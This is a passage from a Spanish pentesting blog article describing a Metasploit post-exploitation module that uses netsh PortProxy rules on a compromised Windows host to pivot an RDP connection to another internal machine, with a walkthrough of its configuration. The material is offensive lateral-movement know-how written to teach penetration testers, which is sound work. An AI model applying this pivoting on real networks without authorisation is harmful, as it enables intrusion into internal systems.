El método enable_portproxy prepara en la función netsh_args la regla comentada anteriormente, con los parámetros que el usuario haya ido colocando y que son leídos a través de datastore[‘LOCAL_PORT’], datastore[‘LOCAL_ADDRESS’], etcétera. Como se puede ver en el código se utiliza el mixin cmd_exec para ejecutar la instrucción compuesta de netsh y se almacena la salida en la variable output.

Figura 7: Configurando netsh dentro de enable_portProxy

Si el tamaño de la salida es mayor de 2 significa que la creación de la regla en la máquina no ha ido correctamente, mientras que si no es mayor de 2 significa que PortProxy fue añadido.

Figura 8: función enable_ports

La función fw_enable_ports ejecuta las reglas, a través de la creación de la sentencia netsh y el uso del mixin cmd_exec, necesarias para que el forwarding sea válido. Esto queda automatizado y se puede entender fácilmente viendo el código que se expone a continuación.

Probando el módulo PortProxy

Una vez se dispone de una sesión en una máquina comprometida, se puede utilizar este módulo. Hay que recordar que necesitaremos tener privilegios en el sistema. Además, como se puede ver en la imagen, tenemos el atributo SESSION, el cual deberemos configurar para indicar a Metasploit por cual sesión disponible deberemos lanzar el módulo.

Figura 9: Máquina Kali Linux con Metasploit configurando PortProxy

La configuración del módulo es sencilla. Simplemente hay que ir rellenando los atributos CONNECT_ADDRESS, CONNECT_PORT, LOCAL_ADDRESS y LOCAL_PORT. No se nos puede olvidar el identificador de sesión por el que se lanzará el módulo PortProxy. Al ejecutar el método run se creará la regla en la máquina comprometida, en este caso una máquina Windows 7.

Figura 10: Ejecución de PortProxy

El forward configurado hará que cuando se haga una petición al puerto 3333, éste redirija a la máquina 10.0.0.4 y al puerto 3389, por lo que si ahora, nos situamos en la máquina con Kali Linux y ejecutamos rdesktop 192.168.0.14:3333, recordando que esa es la dirección IP de la máquina Windows 7, ésta nos hará el forward y realmente estaremos conectando con la máquina Windows XP.

Figura 11: Conexión RDP re-enviada

Para que podáis ver todo el proceso en menos de un minuto, os he preparado este pequeño vídeo que recoge cómo funciona el portforwarding con netsh en Windows que reproduzco en este artículo.

Figura 12: PoC de uso de portforwarding con netsh

Sin duda, una técnica necesaria y que también se puede aplicar de manera sencilla sobre equipos Microsoft Windows. Aunque con el comando portfwd de Meterpreter se podía hacer de manera sencilla, esta forma también ayuda por su simplicidad y capacidades aportadas. A parte de esta prueba, os dejo unas lecturas sobre este tema que tal vez os interesen:

- Metiendo los dedos en los sockets con Proxyfier 

- Tunelizar conexiones con Proxychains 

- Cómo utilizar Metasploit portForwarding 

- Cómo pivotar con túneles ssh

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root", “Pentesting con Powershell” y Hacking Windows, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths